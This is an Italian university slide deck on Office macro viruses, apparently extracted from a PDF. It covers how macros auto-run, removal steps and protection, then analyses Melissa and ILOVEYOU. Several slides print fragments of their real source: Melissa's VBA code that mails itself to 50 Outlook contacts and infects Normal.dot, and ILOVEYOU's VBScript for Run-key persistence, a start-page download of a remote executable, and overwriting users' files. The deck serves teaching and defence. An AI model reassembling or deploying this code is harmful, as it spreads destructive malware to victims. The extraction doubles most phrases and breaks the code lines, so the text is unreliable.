Macro Virus 1
Realizzato Da:
Realizzato Da:
v
v Bruno Marisa Bruno Marisa MARISA.BRUNO@poste. MARISA.BRUNO@poste. it it v
v Radica Diego Radica Diego diego diego.radica@libero. .radica@libero.it it v
v Sessa Clelia Sessa Clelia clelia28@ clelia28@interfree interfree. .it it
Macro Virus 2
Macro Virus Macro Virus
v
v
Che cos’è un virus. Che cos’è un virus.
v
v
Definizione di Macro Virus. Definizione di Macro Virus.
v
v
Che cos’è una macro. Che cos’è una macro.
v
v
Come agisce un Macro Virus. Come agisce un Macro Virus.
v
v
Problemi causati da Macro Virus. Problemi causati da Macro Virus.
v
v
Infezione e Rimozione: Infezione e Rimozione:
1.
1.Editor di VB attivo. Editor di VB attivo.
2.
2.Editor di VB non attivo. Editor di VB non attivo.
v
v
Come proteggersi. Come proteggersi.
v
v
Trattazione di due Macro Virus: Trattazione di due Macro Virus:
- -Melissa. Melissa.
- - I love I love you you . .
Macro Virus 3
Che cos’è un virus informatico Che cos’è un virus informatico
Programma dotato delle seguenti Programma dotato delle seguenti
caratteristiche:
caratteristiche:
ü
ü Deve confondersi alle istruzioni di altri Deve confondersi alle istruzioni di altri programmi modificandoli.
programmi modificandoli.
ü
ü Deve essere in grado di replicarsi. Deve essere in grado di replicarsi.
ü
ü Dopo un tempo prestabilito, il virus Dopo un tempo prestabilito, il virus comincia a compiere l’azione per cui è stato comincia a compiere l’azione per cui è stato scritto (es.distruggere dati e/o
scritto (es.distruggere dati e/o programmi…).
programmi…).
Macro Virus 4
Diffusione dei virus Diffusione dei virus
La diffusione dei virus informatici nel mondo ad Agosto 2001 in base alla percentuale di infezioni sul totale
Bulletin Virus
Macro Virus 5
Macro Virus Macro Virus
Virus scritti come “macro” di applicazioni Virus scritti come “macro” di applicazioni
utente:
utente:
-
- MS Word, Excel, Access,… MS Word, Excel, Access,…
ü
ü Possono essere eseguiti all’atto Possono essere eseguiti all’atto dell’apertura di un documento.
dell’apertura di un documento.
ü
ü Possono accedere virtualmente a tutte le Possono accedere virtualmente a tutte le funzioni del sistema operativo.
funzioni del sistema operativo.
Macro Virus 6
Che cos’è una macro Che cos’è una macro
Le macro sono delle procedure automatizzate Le macro sono delle procedure automatizzate
che consentono di effettuare diverse che consentono di effettuare diverse operazioni in sequenza.
operazioni in sequenza.
Ad es. se si vuole aggiungere a tutti i Ad es. se si vuole aggiungere a tutti i
documenti in Word una fotografia, si scrive documenti in Word una fotografia, si scrive una macro.
una macro.
Macro Virus 7
Esempio di macro Esempio di macro
Auto_
Auto_Deactive Deactive Auto_
Auto_Active Active
Document Document_New _New AutoNew
AutoNew AutoExit AutoExit Auto_
Auto_Exec Exec
Document Document_ _Close Close Auto_
Auto_Close Close AutoClose
AutoClose
Document Document_Open _Open Auto_Open
Auto_Open AutoOpen
AutoOpen
OFFICE OFFICE EXCEL
EXCEL WORD
WORD
Macro Virus 8
Protezione da macro Protezione da macro
ü
ü Le applicazioni Word ed Excel proteggono Le applicazioni Word ed Excel proteggono gli utenti a condizione che sia attiva gli utenti a condizione che sia attiva Protezione da macro
Protezione da macro. .
Macro Virus 9
Verifica protezione attivata (1) Verifica protezione attivata (1)
In Word 2000 e Excel 2000 In Word 2000 e Excel 2000
Macro Virus 10
Verifica protezione attivata (2) Verifica protezione attivata (2)
Macro Virus 11
Diffusione Diffusione
Posta elettronica Posta elettronica
Macro Virus 12
Documento contenente una Documento contenente una
macro
macro
Macro Virus 13
Diffusione dei Macro Virus Diffusione dei Macro Virus
Macro Virus 14
Macro Virus Macro Virus
v
v
Che cos’è un virus. Che cos’è un virus.
v
v
Definizione di Macro Virus. Definizione di Macro Virus.
v
v
Che cos’è una macro. Che cos’è una macro.
v
v
Come agisce un Macro Virus. Come agisce un Macro Virus.
v
v
Problemi causati da Macro Virus. Problemi causati da Macro Virus.
v
v
Infezione e Rimozione: Infezione e Rimozione:
1.
1.Editor di VB attivo. Editor di VB attivo.
2.
2.Editor di VB non attivo. Editor di VB non attivo.
v
v
Come proteggersi. Come proteggersi.
v
v
Trattazione di due Macro Virus: Trattazione di due Macro Virus:
- -Melissa. Melissa.
- - I love I love you you . .
Macro Virus 15
Come agisce un Macro Virus Come agisce un Macro Virus
ü
ü
Disattiva la Protezione da virus di macro. Disattiva la Protezione da virus di macro.
ü
ü
Quando si apre Word si crea una copia del Quando si apre Word si crea una copia del Normal Normal. .dot dot che che se infetto duplica anche il macro virus.
se infetto duplica anche il macro virus.
Modello di foglio bianco Modello di foglio bianco caricato ogni volta che si caricato ogni volta che si
avvia Word avvia Word
ü
üAttacca qualsiasi Attacca qualsiasi Pc Pc che ha installato Microsoft Office che ha installato Microsoft Office . .
Macro Virus 16
Problemi causati dai Macro Virus Problemi causati dai Macro Virus
ü
ü Possibilità di salvare il documento solo in Possibilità di salvare il documento solo in formato .
formato .txt txt
ü
ü Cancellazione di icone Cancellazione di icone
ü
ü Occupazione eccessiva di memoria fino al Occupazione eccessiva di memoria fino al blocco totale del sistema
blocco totale del sistema
ü
ü Cancellazione di intere directory di Cancellazione di intere directory di files files dati ecc…
dati ecc…
Macro Virus 17
Macro Virus Macro Virus
v
v
Che cos’è un virus. Che cos’è un virus.
v
v
Definizione di Macro Virus. Definizione di Macro Virus.
v
v
Che cos’è una macro. Che cos’è una macro.
v
v
Come agisce un Macro Virus. Come agisce un Macro Virus.
v
v
Problemi causati da Macro Virus. Problemi causati da Macro Virus.
v
v
Infezione e Rimozione: Infezione e Rimozione:
1.
1.Editor di VB attivo. Editor di VB attivo.
2.
2.Editor di VB non attivo. Editor di VB non attivo.
v
v
Come proteggersi. Come proteggersi.
v
v
Trattazione di due Macro Virus: Trattazione di due Macro Virus:
- -Melissa. Melissa.
-
- I love I love you you. .
Macro Virus 18Infezione Infezione
MACRO MACRO VIRUS VIRUS Altri Dati Altri Dati Altri Dati
Altri Dati
Macro (se presente) Macro (se presente) Macro (se presente)
Macro (se presente)
Fonts Fonts Fonts
Fonts
Testo Testo Testo
Testo
System Data System Data (Directory FAT) (Directory FAT) System Data
System Data (Directory FAT) (Directory FAT)
File File Header Header File
File Header Header
Documento infetto Documento infetto Documento non infetto
Documento non infetto
Macro Virus 19
Algoritmo per il controllo Algoritmo per il controllo
infezione infezione
Strumenti/opzioni/standard/attiva protezione da macro Strumenti/opzioni/standard/attiva protezione da macro Attiva Attiva
Possibilità infezione Possibilità infezione
BASSE!!!
BASSE!!!
Strumenti/macro/editor di VB Strumenti/macro/editor di VB Non Attiva Non Attiva
Al 99%
Al 99%
Non Attiva Non Attiva
Attiva Attiva
Macro Virus 20
Categorie di infezione Categorie di infezione
1.
1. Strumenti/Macro/Editor di VB Strumenti/Macro/Editor di VB Non attivo!
Non attivo!
2.
2. Il macro virus c’è ma l’editor di VB Il macro virus c’è ma l’editor di VB E’ attivo!
E’ attivo!
Macro Virus 21
Rimozione (1) Rimozione (1)
Eliminare Eliminare NormalNormal..dotdot
Sostituirlo con uno pulito Sostituirlo con uno pulito
Attivare Attivare protezioneprotezione
Aprire Aprire filesfilesWord Word
(uno alla volta) (uno alla volta)
Compare finestra Compare finestra Attiva macro Attiva macro
NO NO Documento successivo Documento successivo
SI SI
Disattivare macro Disattivare macro
Cancellare il codice virale Cancellare il codice virale
Salvare il file con un altro nome Salvare il file con un altro nome
Eliminare il vecchio file Eliminare il vecchio file Editor di VB
Editor di VB nnon attivo!on attivo!
Macro Virus 22
Rimozione (2) Rimozione (2)
Individuare in
Individuare in normal normal il codice virale e cancellarloil codice virale e cancellarlo
Attivare Attivare protezioneprotezione
Aprire Aprire filesfilesWord Word
(uno alla volta) (uno alla volta)
Compare finestra Compare finestra Attiva macro Attiva macro
NO NO Documento successivo Documento successivo
SI SI
Disattivare macro Disattivare macro
Cancellare il codice virale Cancellare il codice virale
Salvare il file con un altro nome Salvare il file con un altro nome
Eliminare il vecchio file Eliminare il vecchio file Salvare le modifiche al modello
Salvare le modifiche al modello
Editor di VB è Editor di VB èattivo! attivo!
Macro Virus 23
Come proteggersi Come proteggersi
ü
ü DIFFIDARE !!! DIFFIDARE !!!
ü
ü Antivirus. Antivirus.
Macro Virus 24
Antivirus Antivirus
Ø
Ø http://www.antivirus. http://www.antivirus.com com
Ø
Ø http://www.f http://www.f- -secure secure. .com com
Ø
Ø http://www. http://www. gnd gnd. .it it/~ /~agalli agalli/software/antivirus. /software/antivirus.htm htm
Ø
Ø http://www. http://www.mcafee mcafee- -at at- -home. home.com com
Ø
Ø http://www. http://www.symantec symantec. .com com
Macro Virus 25
Macro Virus Macro Virus
v
v
Che cos’è un virus. Che cos’è un virus.
v
v
Definizione di Macro Virus. Definizione di Macro Virus.
v
v
Che cos’è una macro. Che cos’è una macro.
v
v
Come agisce un Macro Virus. Come agisce un Macro Virus.
v
v
Problemi causati da Macro Virus. Problemi causati da Macro Virus.
v
v
Infezione e Rimozione: Infezione e Rimozione:
1.
1.Editor di VB attivo. Editor di VB attivo.
2.
2.Editor di VB non attivo. Editor di VB non attivo.
v
v
Come proteggersi. Come proteggersi.
v
v
Trattazione di due Macro Virus: Trattazione di due Macro Virus:
- -Melissa. Melissa.
- - I love I love you you. .
Macro Virus 26
Alias:
Alias: Simpson Simpson, , Kwyjibo Kwyjibo, , Kwejeebo Kwejeebo, , Mailissa
Mailissa, W97M.Melissa , W97M.Melissa L’autore : David
L’autore : David Lee Smith Lee Smith
Computer Economics ANNO
1999 DANNI
$1.10 Billion
Macro Virus 27
Melissa Melissa
Macro Virus scritto in VBA che si diffonde Macro Virus scritto in VBA che si diffonde attraverso e
attraverso e- -mail. mail.
Si replica sotto MS Word 8 e 9 Si replica sotto MS Word 8 e 9 (Office 97 e Office 2000).
(Office 97 e Office 2000).
Macro Virus 28
Diffusione e attivazione Diffusione e attivazione
ü
ü Attraverso e Attraverso e- -mail con un file list. mail con un file list.doc doc; ;
ü
ü Viene spedito ai primi 50 nomi in rubrica (ma Viene spedito ai primi 50 nomi in rubrica (ma se tra di essi c’è una mailing list arriva a tutti se tra di essi c’è una mailing list arriva a tutti quelli che sono abbonati);
quelli che sono abbonati);
ü
ü Si attiva con determinate combinazioni della Si attiva con determinate combinazioni della data e ora (procedura trigger routine);
data e ora (procedura trigger routine);
Macro Virus 29
Caratteristiche dell’e Caratteristiche dell’e - - mail mail
Macro Virus 30
Modifica del Registro di Modifica del Registro di
configurazione
configurazione
Macro Virus 31
Il Codice Il Codice
Private Sub Document_Open() Private Sub Document_Open()
On Error Resume Next On Error Resume Next End Sub
End Sub
Nome della macro infetta Nome della macro infetta
Ignora gli errori causati da Melissa Ignora gli errori causati da Melissa
quando è in esecuzione quando è in esecuzione
Neutralizza le difese di Word contro le Macro Neutralizza le difese di Word contro le Macro
Macro Virus 32
Trasmissione Trasmissione
If
If UngaDasOutlookUngaDasOutlook= "Outlook" Then = "Outlook" Then DasMapiNameDasMapiName..LogonLogon""profileprofile", "password", "password““ For y = 1 To
For y = 1 To DasMapiNameDasMapiName..AddressListsAddressLists.Count.Count Set
Set AddyBookAddyBook= = DasMapiNameDasMapiName..AddressListsAddressLists(y)(y) x = 1
x = 1 Set
Set BreakUmOffASliceBreakUmOffASlice= = UngaDasOutlookUngaDasOutlook..CreateItemCreateItem(0)(0) For
For oooo= 1 To = 1 To AddyBookAddyBook..AddressEntriesAddressEntries.Count.Count Peep =
Peep = AddyBookAddyBook..AddressEntriesAddressEntries(x)(x) BreakUmOffASlice
BreakUmOffASlice.Recipients.Add Peep.Recipients.Add Peep x = x + 1
x = x + 1 If x > 50 Then
If x > 50 Then oooo= = AddyBookAddyBook..AddressEntriesAddressEntries.Count.Count Next
Next oooo BreakUmOffASlice
BreakUmOffASlice.Subject = "Important Message From " & Application..Subject = "Important Message From " & Application.UserNameUserName BreakUmOffASlice
BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyo.Body = "Here is that document you asked for ... don't show anyone else ;ne else ;--)")"
BreakUmOffASlice BreakUmOffASlice.Attachments.Add.Attachments.Add ActiveDocument
ActiveDocument..FullNameFullName BreakUmOffASlice BreakUmOffASlice.Send.Send
Peep = ""
Peep = ""
Next y Next y DasMapiName DasMapiName.Logoff.Logoff End If End If System.
System.PrivateProfileStringPrivateProfileString("", "HKEY_CURRENT_USER("", "HKEY_CURRENT_USER\\SoftwareSoftware\\MicrosoftMicrosoft\\OfficeOffice\\", "Melissa?") = "... by ", "Melissa?") = "... by KwyjiboKwyjibo""
End If End If
Si
Si autospediseautospediseai primi 50 ai primi 50 indirizzi della rubrica indirizzi della rubrica
Allega il documento infetto alla mail Allega il documento infetto alla mail
Spedisce e Spedisce e--mailmail
Setta il
Setta il flagflagdi Melissa installato nei registri di Windowsdi Melissa installato nei registri di Windows
Macro Virus 33
Replicazione
Replicazione e Infezione e Infezione
…
… Set ADI1 =
Set ADI1 = ActiveDocumentActiveDocument..VBProjectVBProject..VBComponentsVBComponents..ItemItem(1)(1) Set NTI1 =
Set NTI1 = NormalTemplateNormalTemplate..VBProjectVBProject..VBComponentsVBComponents..ItemItem(1)(1) NTCL = NTI1.
NTCL = NTI1.CodeModuleCodeModule..CountOfLinesCountOfLines ADCL = ADI1.
ADCL = ADI1.CodeModuleCodeModule..CountOfLinesCountOfLines BGN = 2
BGN = 2 If
IfADI1.ADI1.NameName<> "Melissa" <> "Melissa" ThenThen If
IfADCL > 0 ADCL > 0 ThenThenADI1.ADI1.CodeModuleCodeModule..DeleteLinesDeleteLines1, ADCL1, ADCL Set
Set ToInfectToInfect= ADI1= ADI1 ADI1.
ADI1.NameName= "Melissa"= "Melissa"
DoAD DoAD= = TrueTrue End End IfIf
…
…
Infetta il documento corrente o quello usato Infetta il documento corrente o quello usato
di
di default default come infetto come infetto
Macro Virus 34
Replicazione
Replicazione e Infezione e Infezione
If DoNT If DoNT= = True ThenTrue Then
Do
Do WhileWhileADI1.ADI1.CodeModuleCodeModule..LinesLines(1, 1) = ""(1, 1) = ""
ADI1.
ADI1.CodeModuleCodeModule..DeleteLinesDeleteLines11 Loop
Loop ToInfect
ToInfect..CodeModuleCodeModule..AddFromStringAddFromString("Private Sub ("Private Sub DocumentDocument__CloseClose()")()") Do
Do WhileWhileADI1.ADI1.CodeModuleCodeModule..LinesLines(BGN, 1) <> ""(BGN, 1) <> ""
ToInfect
ToInfect..CodeModuleCodeModule..InsertLinesInsertLinesBGN,BGN, ADI1.
ADI1.CodeModuleCodeModule..LinesLines(BGN, 1)(BGN, 1) BGN = BGN + 1 BGN = BGN + 1 Loop Loop End End IfIf
Copia il virus linea per linea nella macro
Copia il virus linea per linea nella macro Document Document_ _Close Close
Macro Virus 35
Replicazione
Replicazione e Infezione e Infezione
…
… If DoAD If DoAD= = True ThenTrue Then
Do
Do WhileWhileNTI1.NTI1.CodeModuleCodeModule..LinesLines(1, 1) = ""(1, 1) = ""
NTI1.
NTI1.CodeModuleCodeModule..DeleteLinesDeleteLines11 Loop
Loop ToInfect
ToInfect..CodeModuleCodeModule..AddFromString AddFromString ("Private Sub ("Private Sub DocumentDocument_Open()")_Open()") Do
Do WhileWhileNTI1.NTI1.CodeModuleCodeModule..LinesLines(BGN, 1) <> ""(BGN, 1) <> ""
ToInfect
ToInfect..CodeModuleCodeModule..InsertLinesInsertLinesBGN, NTI1.BGN, NTI1.CodeModuleCodeModule..LinesLines(BGN, 1)(BGN, 1) BGN = BGN + 1
BGN = BGN + 1 Loop Loop End End IfIf
Copia il virus linea per linea nella macro
Copia il virus linea per linea nella macro Document Document_Open _Open
Macro Virus 36
Replicazione
Replicazione e Infezione e Infezione
CYA:
CYA:
If
IfNTCL <> 0 And ADCL = 0 And (NTCL <> 0 And ADCL = 0 And (InStrInStr(1, (1, ActiveDocumentActiveDocument..NameName, ", "DocumentDocument") = ") = False)
False) ThenThen ActiveDocument
ActiveDocument..SaveAs FileNameSaveAs FileName:=:=ActiveDocumentActiveDocument..FullNameFullName ElseIf
ElseIf((InStrInStr(1, (1, ActiveDocumentActiveDocument..NameName, ", "DocumentDocument") <> False) ") <> False) ThenThen ActiveDocument
ActiveDocument..SavedSaved= = True True End
End IfIf 'WORD/Melissa
'WORD/Melissa written by Kwyjibowritten by Kwyjibo 'Works
'Worksin in bothbothWord 2000 and Word 97Word 2000 and Word 97 'Worm
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? ? Macro Virus? Word 97 Virus? Word 2000 Virus? YouYouDecide!Decide!
'Word
'Word --> > EmailEmail| Word 97 <| Word 97 <----> Word 2000 ... > Word 2000 ... it'sit'sa new a new ageage!!
Salva il documento infetto Salva il documento infetto
Commenti
Commenti
Macro Virus 37
Trigger Routine Trigger Routine
…
… If
IfDay(Day(NowNow) = Minute() = Minute(NowNow) ) Then SelectionThen Selection..TypeTextTypeText" " TwentyTwenty--two pointstwo points, plus , plus triple
triple--wordword--score, plus score, plus fifty points for using all my lettersfifty points for using all my letters. . Game'sGame'sover. over. I'm I'm outta here
outta here."."
End Sub End Sub
Se il giorno del mese è uguale ai minuti Se il giorno del mese è uguale ai minuti
dell’ora ,stampa un messaggio dell’ora ,stampa un messaggio
Macro Virus 38
Trigger routine Trigger routine
Macro Virus 39
Come determino se si è infettati Come determino se si è infettati
ü
ü Esegui Esegui regedit regedit. .exe exe
ü
ü Determinare la Determinare la presenza dell’ “ospite”
presenza dell’ “ospite”
Macro Virus 40
Antivirus Antivirus
Ø
Ø http://www.antivirus. http://www.antivirus.com com
Ø
Ø http://www.f http://www.f- -secure secure. .com com
Ø
Ø http://www. http://www. gnd gnd. .it it/~ /~agalli agalli/software/antivirus. /software/antivirus.htm htm
Ø
Ø http://www. http://www.mcafee mcafee- -at at- -home. home.com com
Ø
Ø http://www. http://www.symantec symantec. .com com
Macro Virus 41
Varianti Varianti
"
"MadMadCow Cow JokeJoke(nome di chi invia il messaggio)“(nome di chi invia il messaggio)“
Beware
Bewareof the of the spreadspreadof the of the Madcow diseaseMadcow disease Un documento infettato dal virus Un documento infettato dal virus
Invia una copia di se stesso ai primi 20 indirizzi di Outlook Invia una copia di se stesso ai primi 20 indirizzi di Outlook Ogg
Ogg.messaggio.messaggio Testo messaggio Testo messaggio Allegato messaggio Allegato messaggio Caratteristiche Caratteristiche MELISSA.D
MELISSA.D
"
"FunFunand and games fromgames from(nome di chi invia il messaggio)“(nome di chi invia il messaggio)“
HI!
HI! CheckCheckout out this neat docthis neat docI I foundfoundon the internet!on the internet!
Un documento infettato dal virus Un documento infettato dal virus
Invia una copia di se stesso ai primi 69 indirizzi di Outlook Invia una copia di se stesso ai primi 69 indirizzi di Outlook Ogg
Ogg.messaggio.messaggio Testo messaggio Testo messaggio Allegato messaggio Allegato messaggio Caratteristiche Caratteristiche MELISSA.C
MELISSA.C
"Trust no one(nome di chi invia il messaggio)“
"Trust no one(nome di chi invia il messaggio)“
Be careful what you
Be careful what youopen, open, it could beit could bea virusa virus Un documento infettato dal virus Un documento infettato dal virus
Invia una copia di se stesso al primo indirizzo di Outlook Invia una copia di se stesso al primo indirizzo di Outlook Ogg
Ogg.messaggio.messaggio Testo messaggio Testo messaggio Allegato messaggio Allegato messaggio Caratteristiche Caratteristiche MELISSA.B
MELISSA.B
Macro Virus 42
Alias:
Alias: LoveLetter LoveLetter, , Lovebug Lovebug, , I
I- -Worm Worm. .LoveLetter LoveLetter L’autore :
L’autore :
Computer Economics DANNI
$8.75 Billion ANNO
2000
Macro Virus 43
I Love I Love You You
Internet
Internet worm worm scritto in scritto in VBScript VBScript per WSH per WSH che si diffonde attraverso e
che si diffonde attraverso e- -mail create con mail create con Microsoft Outlook.
Microsoft Outlook.
Più pericoloso di Melissa, perché si spedisce Più pericoloso di Melissa, perché si spedisce
a tutti i contatti della Rubrica.
a tutti i contatti della Rubrica.
Macro Virus 44
Dove Funziona Dove Funziona
ü
ü Sistemi Windows dove è presente WSH Sistemi Windows dove è presente WSH (installato per
(installato per default default in Windows 98/2000) in Windows 98/2000)
ü
ü Sistemi dove è installato Internet Sistemi dove è installato Internet Explorer Explorer 5.x
5.x
Macro Virus 45
Diffusione Diffusione
ü
ü Posta elettronica Posta elettronica
ü ü mIRC mIRC
Macro Virus 46
Il codice Il codice
Il primo commento inserito nel codice Il primo commento inserito nel codice
sorgente è:
sorgente è:
rem barok
rem barok – – loveletter loveletter( (vbe vbe) <i ) <i hate hate go go to school to school> >
rem by
rem by : : spyder spyder / / ispyder ispyder@mail. @mail.com com / @ / @ GRAMMERSoft GRAMMERSoft Group
Group / Manila, / Manila, Philippines Philippines
Macro Virus 47
Il codice Il codice
v
v main() main()
v
v regruns regruns() ()
v
v listadriv listadriv () ()
v
v infectfiles infectfiles( (folderspec folderspec ) )
v
v folderlist folderlist ( (folderspec folderspec) )
v
v regcreate regcreate( (regkey regkey , , regvalue regvalue) )
v
v spreadtoemail spreadtoemail() ()
v v html html() ()
Imposta alcune variabili usate Imposta alcune variabili usate nelle successive routine e crea nelle successive routine e crea tre
tre filesfiles..
Macro Virus 48
main main() ()
…
… wscr
wscr= =CreateObject CreateObject(" ("WScript WScript.Shell") .Shell") rr
rr= =wscr wscr . .RegRead RegRead("HKEY_CURRENT_USER ("HKEY_CURRENT_USER\ \Software Software\ \Microsoft Microsoft\ \Windo Windo ws
ws ScriptingHost ScriptingHost\ \Settings Settings\ \Timeout") Timeout") if (
if (rr rr>=1) then >=1) then wscr
wscr. .RegWrite RegWrite "HKEY_CURRENT_USER "HKEY_CURRENT_USER\ \Software Software\ \Microsoft Microsoft\ \Windows Windows ScriptingHost
ScriptingHost\ \Settings Settings \ \Timeout",0,"REG_DWORD Timeout",0,"REG_DWORD“ “ end if
end if
…
…. . c.Copy(
c.Copy(dirsystem dirsystem&" &"\ \MSKernel32. MSKernel32.vbs vbs") ") c.Copy(
c.Copy(dirwin dirwin&" &"\ \Win32DLL. Win32DLL.vbs vbs") ") c.Copy(
c.Copy(dirsystem dirsystem&" &"\ \LOVE LOVE- -LETTER LETTER- -FOR FOR- -YOU.TXT. YOU.TXT.vbs vbs") ")
…
…
Creazione Creazione filesfiles
•
• MSKernel32.MSKernel32.vbsvbs
•
• Win32DLL.Win32DLL.vbsvbs
•
• LOVELOVE--LETTERLETTER--FORFOR-- YOU.TXT.
YOU.TXT.vbsvbs
Macro Virus 49
Il codice Il codice
v
v main() main()
v
v regruns regruns() ()
v
v listadriv listadriv () ()
v
v infectfiles infectfiles( (folderspec folderspec ) )
v
v folderlist folderlist ( (folderspec folderspec) )
v
v regcreate regcreate( (regkey regkey , , regvalue regvalue) )
v
v spreadtoemail spreadtoemail() ()
v v html html() ()
•
•Inserisce nel registro due Inserisce nel registro due chiavi
chiavi
•
•Individua la directory perIndividua la directory per scaricare dei
scaricare dei filesfilesda Internet.da Internet.
Modifica la pagina iniziale di Modifica la pagina iniziale di MS Internet
MS Internet ExplorerExplorer. .
Macro Virus 50
regruns regruns () ()
…
… regcreate
regcreate"HKEY_LOCAL_MACHINE "HKEY_LOCAL_MACHINE\ \Software Software\ \Microsoft Microsoft \ \Wi Wi ndows
ndows\ \CurrentVersion CurrentVersion\ \Run Run\ \MSKernel32 MSKernel32", ",dirsystem dirsystem& " & "\ \MS MS Kernel32.
Kernel32.vbs vbs“ “ regcreate
regcreate"HKEY_LOCAL_MACHINE "HKEY_LOCAL_MACHINE\ \Software Software\ \Microsoft Microsoft \ \Wi Wi ndows
ndows\ \CurrentVersion CurrentVersion\ \RunServices RunServices\ \Wi Win32DLL n32DLL“ “, ,dirwin dirwin& " & "
\
\Win32DLL. Win32DLL.vbs vbs “ “
…
…
Inserisce nel registro due chiavi che fanno eseguire Inserisce nel registro due chiavi che fanno eseguire all’avvio del sistema i due script:all’avvio del sistema i due script:
MSKernel32.
MSKernel32.vbs vbs Win32DLL.
Win32DLL.vbs vbs
Macro Virus 51
regruns regruns() ()
…
… downread downread=" ="“ “ downread
downread= =regget regget("HKEY_CURRENT_USER ("HKEY_CURRENT_USER\ \Software Software\ \Microsoft Microsoft\ \Internet Internet Explorer
Explorer\ \Download Directory") Download Directory") if (
if (downread downread="") then ="") then downread downread="c: ="c:\ \“ “ end if end if
…
…
Individua la directory Individua la directory impostata per lo impostata per lo scaricamento dei scaricamento dei files files da Internet da Internet
Macro Virus 52
regruns regruns () ()
…
… if (
if (fileexist fileexist( (dirsystem dirsystem&" &"\ \WinFAT32.exe")=1) then WinFAT32.exe")=1) then Randomizenum
Randomizenum = = Int Int((4 * ((4 * Rnd Rnd) + 1) ) + 1) if num = 1 then
if num = 1 then regcreate
regcreate "HKCU "HKCU \ \Software Software\ \Microsoft Microsoft\ \Internet Explorer Internet Explorer\ \Main Main\ \Start Start Page","http://www.
Page","http://www.skyinet skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwe .net/~young1s/HJKhjnwerhjkxcvytwertnMTFwe trdsfmhPnj
trdsfmhPnjw6587345gvsdf7679njbvYT/WIN w6587345gvsdf7679njbvYT/WIN- -BUGSFIX.exe" BUGSFIX.exe"
…
…
Se esiste WinFAT32.
Se esiste WinFAT32.exeexeil il worm
wormmodifica (attraverso il modifica (attraverso il registro) la pagina iniziale di MS registro) la pagina iniziale di MS Internet
Internet ExplorerExplorerinserendo la inserendo la URL del file WIN URL del file WIN-- BUGFIX.EXE del sito BUGFIX.EXE del sito www.
www.skyinetskyinet.net .net
Macro Virus 53
regruns regruns() ()
…
… if (
if (fileexist fileexist( (downread downread&" &"\ \WIN WIN- -BUGSFIX.exe")=0) then BUGSFIX.exe")=0) then regcreate
regcreate"HKEY_LOCAL_MACHINE "HKEY_LOCAL_MACHINE\ \Software Software\ \Microsoft Microsoft\ \Windows Windows\ \Curr Curr entVersion
entVersion\ \Run Run\ \WIN WIN- -BUGSFIX", BUGSFIX",downread downread&" &"\ \WIN WIN- -BUGSFIX.exe BUGSFIX.exe“ “ regcreate
regcreate "HKEY_CURRENT_USER "HKEY_CURRENT_USER\ \Software Software\ \Microsoft Microsoft\ \Internet Internet Explorer
Explorer\ \Main Main\ \StartPage StartPage","about:blank ","about:blank“ “ end if
end if
Verifica l’ esistenza di WIN
Verifica l’ esistenza di WIN- -BUGFIX. BUGFIX.exe exe e e imposta il registro per eseguirlo ad ogni avvio imposta il registro per eseguirlo ad ogni avvio del computer.
del computer.
La pagina iniziale di IE diventa “ La pagina iniziale di IE diventa “about about: :blank blank” ”
Macro Virus 54
Il codice Il codice
v
v main() main()
v
v regruns regruns() ()
v
v listadriv listadriv() ()
v
v infectfiles infectfiles( (folderspec folderspec ) )
v
v folderlist folderlist ( (folderspec folderspec) )
v
v regcreate regcreate ( (regkey regkey, , regvalue regvalue) )
v
v spreadtoemail spreadtoemail () ()
v v html html() ()
Analizza i
Analizza i drivesdrivespresenti nel presenti nel disco e per ogni unità esegue disco e per ogni unità esegue la funzione
la funzione folderlistfolderlist
Macro Virus 55
Il codice Il codice
v
v main() main()
v
v regruns regruns() ()
v
v listadriv listadriv () ()
v
v infectfiles infectfiles( (folderspec folderspec ) )
v
v folderlist folderlist ( (folderspec folderspec) )
v
v regcreate regcreate( (regkey regkey , , regvalue regvalue) )
v
v spreadtoemail spreadtoemail() ()
v v html html() ()
Modifica i Modifica i filesfiles::
•
•Script Script
•
•Fogli di stile Fogli di stile
•
•JPEG, MP3, MP2JPEG, MP3, MP2 Sovrascrive
Sovrascrivei i filesfilescon una con una copia del
copia del wormworm.. Cerca il software Cerca il software mIRCmIRC per inviare pagina per inviare pagina htmlhtml contenente copia del contenente copia del wormworm
Macro Virus 56
infectfiles
infectfiles( (folderspec folderspec) )
…
… if (ext="
if (ext="vbsvbs") or (ext="") or (ext="vbevbe") then") then set
set apap==fsofso..OpenTextFileOpenTextFile(f1.path,2,true)(f1.path,2,true) ap
ap.write .write vbscopyapvbscopyap.close.close elseif
elseif(ext="(ext="jsjs") or (ext="") or (ext="jsejse") or (ext="") or (ext="csscss") or (ext="") or (ext="wshwsh") or (ext="") or (ext="sctsct")or ")or (ext="
(ext="htahta") then") then set
set apap==fsofso..OpenTextFileOpenTextFile(f1.path,2,true)(f1.path,2,true) ap
ap.write .write vbscopyvbscopy ap ap.close.close bname
bname==fsofso..GetBaseNameGetBaseName(f1.path)(f1.path) set cop=
set cop=fsofso..GetFileGetFile(f1.path)(f1.path) cop.copy(
cop.copy(folderspecfolderspec&"&"\\"&"&bnamebname&".&".vbsvbs")") fso
fso..DeleteFileDeleteFile(f1.path)(f1.path)
…
…
Individua tutti i Individua tutti i files filescon script o con script o fogli di stile ( fogli di stile (*.*.vbsvbs, ,
*.
*.v b ev b e, ,
*.
*.jsjs,*.,*.jsejse,*.,*.csscss,*.,*.wsws h
h,*.,*.sctsct,*.,*.htahta))
Macro Virus 57
infectfiles
infectfiles( (folderspec folderspec) )
elseif
elseif(ext=" (ext="jpg jpg") or (ext="jpeg") then ") or (ext="jpeg") then setap
setap= =fso fso. .OpenTextFile OpenTextFile (f1.path,2,true) (f1.path,2,true)ap ap.write .write vbscopy vbscopy ap
ap.close .close set cop=
set cop=fso fso. .GetFile GetFile(f1.path) (f1.path) cop.copy(f1.path&".
cop.copy(f1.path&".vbs vbs") ") fso
fso. .DeleteFile DeleteFile (f1.path) (f1.path) elseif
elseif(ext="mp3") or (ext="mp2") then (ext="mp3") or (ext="mp2") then set mp3=
set mp3=fso fso. .CreateTextFile CreateTextFile(f1.path&". (f1.path&".vbs vbs") ") mp3.write
mp3.write vbscopy vbscopy mp3.close mp3.close
Le immagini Le immagini JPEG(*.
JPEG(*.jpgjpg,*.,*.jpegjpeg) e i ) e i fileMP3 e MP2 vengono fileMP3 e MP2 vengono sovrascritti
sovrascrittida un file con da un file con lo stesso nome con lo stesso nome con estensione *.
estensione *.vbsvbse come e come contenuto una copia del contenuto una copia del worm
worm
Macro Virus 58
infectfiles
